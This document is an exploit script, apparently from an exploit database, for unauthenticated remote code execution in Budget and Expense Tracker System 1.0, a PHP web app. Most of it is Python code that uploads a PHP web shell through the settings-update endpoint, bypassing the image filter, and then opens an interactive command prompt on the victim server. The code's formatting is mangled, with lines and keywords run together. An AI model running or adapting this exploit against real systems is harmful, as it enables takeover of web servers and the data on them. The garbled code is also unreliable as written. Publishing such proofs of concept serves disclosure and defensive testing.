# Exploit Title: Budget and Expense Tracker System 1.0 -Remote Code Execution (RCE) (Unauthenticated)# Exploit Author: Abdullah Khawaja (hax.3xploit)# Date: 2021-09-21# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip# Version: 2.0# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4# Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.# RCE via executing exploit:# Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py# Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+''+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL
print(Style.BRIGHT+" Budget and Expense Tracker System 1.0")print(Style.BRIGHT+"Unauthenticated Remote Code Execution"+Style.RESET_ALL)print(header)print(r"""
______ _______ ________
___//_/__/_______ __________ ______(_)_____ _
__,<____ \__ `/_ | /| / /__ `/____/___ `/
_/| | _/ / / /_/ /__ |/ |/ // /_/ /____/ / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___/\__,_/
/___/
abdullahkhawaja.com
""")
GREEN ='\033[32m'# Green Text
RED ='\033[31m'# Red Text
RESET ='\033[m'# reset to the defaults
proxies ={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}#Create a new session
s = requests.Session()#Set Cookie
cookies ={'PHPSESSID':'d794ba06fcba883d6e9aaf6e528b0733'}
LINK=input("Enter URL of The Vulnarable Application : ")defwebshell(LINK, session):try:
WEB_SHELL = LINK+'/uploads/'+filename
getdir={'cmd':'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
status = r2.status_code
if status !=200:print(Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
whileTrue:
thought =input(term)
command ={'cmd': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status !=200:
r2.raise_for_status()
response2 = r2.text
print(response2)except:print("\r\nExiting.")
sys.exit(-1)#Creating a PHP Web Shell
phpshell={'img':('shell.php','<?php echo shell_exec($_REQUEST["cmd"]); ?>','application/octet-stream',{'Content-Disposition':'form-data'})}# Defining value for form data
data ={'name':'Budget and Expense Tracker System - PHP','short_name':'B&E Tracker'}defid_generator():
x = datetime.datetime.now()
date_string = x.strftime("%y-%m-%d %H:%M")
date = datetime.datetime.strptime(date_string,"%y-%m-%d %H:%M")
timestamp = datetime.datetime.timestamp(date)file=int(timestamp)
final_name =str(file)+'_shell.php'return final_name
filename = id_generator()#Uploading Reverse Shellprint("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/SystemSettings.php?f=update_settings', cookies=cookies, files=phpshell, data=data,proxies=proxies)
shell_upload =Trueif("1"in upload.text)elseFalse
u=shell_upload
if u:print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)else:print(RED+"[-]Failed To Upload The PHP Shell!", RESET)#Executing The Webshell
webshell(LINK, s)